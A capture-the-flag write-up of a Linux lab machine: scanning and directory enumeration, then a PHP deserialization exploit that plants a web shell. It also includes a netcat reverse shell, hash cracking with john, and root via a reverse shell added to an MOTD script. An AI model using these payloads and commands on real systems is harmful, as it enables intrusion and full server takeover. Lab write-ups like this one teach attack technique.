Linux Machine CTF! You'll learn about enumeration, finding hidden password files and how to exploit php deserialization!
Introduction
Hey everybody!
Welcome to this Linux CTF Machine!
The main idea of this room is to make you learn more about php deserialization!
I hope you enjoy your journey :)
Enumeration
Let's add to /etc/hosts
and fire up our trusty rustscan
╰─⠠⠵ rustscan -a debug --ulimit 10000 -- -sC -sV -A -oA debug -Pn
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/tj/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.98.193:22
Open 10.10.98.193:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-31 19:21 BST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 0.00s elapsed
Initiating Connect Scan at 19:21
Scanning debug (10.10.98.193) [2 ports]
Discovered open port 22/tcp on 10.10.98.193
Discovered open port 80/tcp on 10.10.98.193
Completed Connect Scan at 19:21, 0.04s elapsed (2 total ports)
Initiating Service scan at 19:21
Scanning 2 services on debug (10.10.98.193)
Completed Service scan at 19:21, 6.12s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.98.193.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 2.33s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 0.16s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 0.00s elapsed
Nmap scan report for debug (10.10.98.193)
Host is up, received user-set (0.042s latency).
Scanned at 2021-03-31 19:21:45 BST for 9s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 44:ee:1e:ba:07:2a:54:69:ff:11:e3:49:d7:db:a9:01 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDar9Wvsxi0NTtlrjfNnap7o6OD9e/Eug2nZF18xx17tNZC/iVn5eByde27ZzR4Gf10FwleJzW5B7ieEThO3Ry5/kMZYbobY2nI8F3s20R8+sb6IdWDL4NIkFPqsDudH3LORxECx0DtwNdqgMgqeh/fCys1BzU2v2MvP5alraQmX81h1AMDQPTo9nDHEJ6bc4Tt5NyoMZZSUXDfJRutsmt969AROoyDsoJOrkwdRUmYHrPqA5fvLtWsWXHYKGsWOPZSe0HIq4wUthMf65RQynFQRwErrJlQmOIKjMV9XkmWQ8c/DqA1h7xKtbfeUYa9nEfhO4HoSkwS0lCErj+l9p8h
| 256 8b:2a:8f:d8:40:95:33:d5:fa:7a:40:6a:7f:29:e4:03 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBA7IA5s8W9jhxGAF1s4Q4BNSu1A52E+rSyFGBYdecgcJJ/sNZ3uL6sjZEsAfJG83m22c0HgoePkuWrkdK2oRnbs=
| 256 65:59:e4:40:2a:c2:d7:05:77:b3:af:60:da:cd:fc:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGXyfw0mC4ho9k8bd+n0BpaYrda6qT2eI1pi8TBYXKMb
80/tcp open http syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.14 seconds
As this box did not respond to pings I threw in the
-Pn
to scan anyway
22/ssh
No user details so swiftly moving on to the next port.....
80/http
Here we have our default apache
start page, nothing hiding in the page or sources and no robots.txt
......
Let's jump across to a terminal and get gobuster
running to see if we can spot and directories.....
╰─⠠⠵ gobuster dir -u http://debug -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://debug
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/03/31 19:26:43 Starting gobuster in directory enumeration mode
===============================================================
/javascript (Status: 301) [Size: 303] [--> http://debug/javascript/]
/backup (Status: 301) [Size: 299] [--> http://debug/backup/]
/grid (Status: 301) [Size: 297] [--> http://debug/grid/]
...
...
...
Ok, so /backup/
looks the most interesting.... Let's jump in and take a look.
Looks like we have responsive framework base ....
Let's grab the directory with wget
to take a look at it locally.
╰─⠠⠵ wget -m -k --no-parent http://debug/backup/
Looking in index.php.bak
we something interesting
}
// Leaving this for now... only for debug purposes... do not touch!
$debug = $_GET['debug'] ?? '';
$messageDebug = unserialize($debug);
$application = new FormSubmit;
$application -> SaveMessage();
?>
Looking around I can not see much else so fire up a new gobuster
with -x
to check for extensions.
╰─⠠⠵ gobuster dir -u http://debug -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,bak,zip,txt,htm,html,tar,gz,tar.gz,db,sql,sqlite
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://debug
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: sql,bak,zip,txt,htm,html,tar,db,php,gz,tar.gz,sqlite
[+] Timeout: 10s
===============================================================
2021/03/31 19:39:47 Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 11321]
/index.php (Status: 200) [Size: 5732]
/message.txt (Status: 200) [Size: 235]
sneaky mime type ordering in apache
, let's try /index.php
We also see message.txt
Nice, now we have a page to play with.....
User.txt
OK, so the room is a php serialisation
room so let's try focusing on that $GET_['debug']
that we saw in index.php.bak
. First though let's throw some garbage into the webform and see what happens.
It throws the user input into the URL which is what happens in the index.php.bak
file so we can assume it is the same so let's play...
After a couple hours of research I come up with the below code to generate the serialized code.
<?php
class FormSubmit
{
public $form_file = 'backup/shell.php';
public $message = "<?php%20echo%20exec(\$_GET[cmd])%20?>";
}
$serial = serialize(new FormSubmit);
print $serial;
?>
Output: O:10:"FormSubmit":2:{s:9:"form_file";s:16:"backup/shell.php";s:7:"message";s:30:"";}
WTF ?!
Ok, so as I said it took me a while to get the code working and understand what needed to be done. Lets take a look at our index.php.bak
ignoring the debug
for now
class FormSubmit
{
public $form_file = 'message.txt';
public $message = '';
public function SaveMessage() {
$NameArea = $_GET['name'];
$EmailArea = $_GET['email'];
$TextArea = $_GET['comments'];
$this-> message = "Message From : " . $NameArea . " || From Email : " . $EmailArea . " || Comment : " . $TextArea . "\n";
}
public function __destruct() {
file_put_contents(__DIR__ . '/' . $this->form_file,$this->message,FILE_APPEND);
echo 'Your submission has been successfully saved!';
}
So above we can see we have a class
named FormSubmit
, inside this class
we have 2 variables we are interested in as they are used in the _destruct
function below.
- form_file - where the output will be put
- message - the contents of the output
Using our code we control these variables, so running through our code
code | About |
---|---|
class FormSubmit {} |
define our class |
public $from_file = 'backup/shell.php' |
defines a public variable with the path to our shell file we want to create |
public $message = "<?php%20echo%20exec(\$_GET[cmd])%20?>"; |
defines a public variable with what we want the contents to be. *I had to replaces the [spaces] with %20 otherwise the webserver threw error 400 - bad request |
$serial = serialize(new FormSubmit); |
This creates a variable serial with the serialized format of our class |
print $serial; |
This just prints the output to screen |
After running this we get the output
O:10:"FormSubmit":2:{s:9:"form_file";s:16:"backup/shell.php";s:7:"message";s:30:"<?php%20echo%20exec($_GET[cmd])%20?>";}
element | about |
---|---|
0 |
defines the first element of our array |
10 |
The length of our class name |
FormSubmit |
Name of our class |
2 |
The number of objects in our array |
s |
Tells php that the object is a string |
9 |
Length of the object name |
form_file |
the object name |
s |
Tells php that the object is a string |
16 |
Length of the object name |
backup/shell.php |
value of the object, in our case the destination file |
s |
Tells php that the object is a string |
7 |
Length of the object name |
message |
the object name |
s |
Tells php that the object is a string |
30 |
Length of the object name |
<?php%20echo%20exec($_GET[cmd])%20?> |
value of the object, in our case the contents of the file we are creating |
RCE
Ok, now we have our payload we can use the debug
argument to execute our code. The easiest way to do this is burp
We can then navigate to /backup/shell.php?cmd=id
to confirm we have RCE
Now that we have some basic RCE
I am going to copy over a better webshell
using wget
debug.local/backup/shell.php?cmd=wget http://10.9.0.38:8000/web.php
Looking around using this we can't find our user.txt
so let's get a reverse shell so we can poke further at the box.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.0.38 4444 >/tmp/f
And on our box
╰─⠠⠵ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.0.38] from (UNKNOWN) [10.10.33.94] 39720
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@osboxes:/var/www/html/backup$ export TERM=xterm
export TERM=xterm
www-data@osboxes:/var/www/html/backup$ ^Z
[1] + 12435 suspended nc -lvnp 4444
╰─⠠⠵ stty raw -echo; fg
[1] + 12435 continued nc -lvnp 4444
www-data@osboxes:/var/www/html/backup$
www-data@osboxes:/var/www/html/backup$
www-data@osboxes:/var/www/html/backup$
Looking in /home/
we have one user james
but can not access his directory.
PrivEsc #1
Ok so it looks like we need to become james
, we do not have the password for www-data
so can not use sudo
so need to find a PrivEsc or password for james
.
First lets look for any files owned by james
www-data@osboxes:/var/www/html/backup$ find / -user james 2>/dev/null
/var/lib/lightdm-data/james
/home/james
Taking a look at both of those we get Permission denied
so let's see if we can find passwords in files.
Looking for hidden files in /var/www/html
we see a .htpasswd
www-data@osboxes:/var/www/html$ cat .htpasswd
james:[REDACTED]
Running this through john
we get the password.
╰─⠠⠵ john james --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED] (james)
1g 0:00:00:00 DONE (2021-03-31 22:20)
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Using this password we can access the box via ssh
.
╰─⠠⠵ ssh james@debug
The authenticity of host 'debug (10.10.33.94)' can't be established.
ECDSA key fingerprint is SHA256:JCUiGJ9gC+EZEJeudS9yMKLVlE7MtpS2rolJudHcCbQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'debug,10.10.33.94' (ECDSA) to the list of known hosts.
james@debug's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-45-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
439 packages can be updated.
380 updates are security updates.
Last login: Wed Mar 10 18:36:58 2021 from 10.250.0.44
Now we are james
we can read user.txt
james@osboxes:~$ cat user.txt
[REDACTED]
Root.txt
Ok, now we are cooking on gas. Let's try our usual sudo -l
to see if we can do anything
james@osboxes:~$ sudo -l
[sudo] password for james:
Sorry, user james may not run sudo on osboxes.
Well that put the brakes on! Anyway looking in /home/james
we have Note-To-James.txt
Dear James,
As you may already know, we are soon planning to submit this machine to THM's CyberSecurity Platform! Crazy... Isn't it?
But there's still one thing I'd like you to do, before the submission.
Could you please make our ssh welcome message a bit more pretty... you know... something beautiful :D
I gave you access to modify all these files :)
Oh and one last thing... You gotta hurry up! We don't have much time left until the submission!
Best Regards,
root
Hmm.... we have been given access to modify some files
Could you please make our ssh welcome message a bit more pretty... you know... something beautiful :D
I gave you access to modify all these files :)
Ok that looks like it could give us an opportunity for some mischief
PrivEsc #2
Let's grab linPEAS and get to work....
[+] Interesting GROUP writable files (not in Home) (max 500)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
Group james:
/etc/update-motd.d/10-help-text
/etc/update-motd.d/91-release-upgrade
/etc/update-motd.d/98-fsck-at-reboot
/etc/update-motd.d/98-reboot-required
/etc/update-motd.d/00-header
#)You_can_write_even_more_files_inside_last_directory
Ok so we can edit the files under /etc/update-motd.d/
, lets add a reverseshell line to the bottom of /etc/update-motd.d/00-header
...
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.0.38 5555 >/tmp/f
Now let's start a listener on our box nc -lvnp 5555
and log in again as james
╰─⠠⠵ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.9.0.38] from (UNKNOWN) [10.10.33.94] 45286
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
#
Nice! we are r00t
, now let;s grab our flag....
# pwd
/
# cd /root
# ls
root.txt
# cat root.txt
[REDACTED]
Done!!!!
Another room done and learned some stuff about php
serialization. Was a fun room and took a bit of research but got there in the end!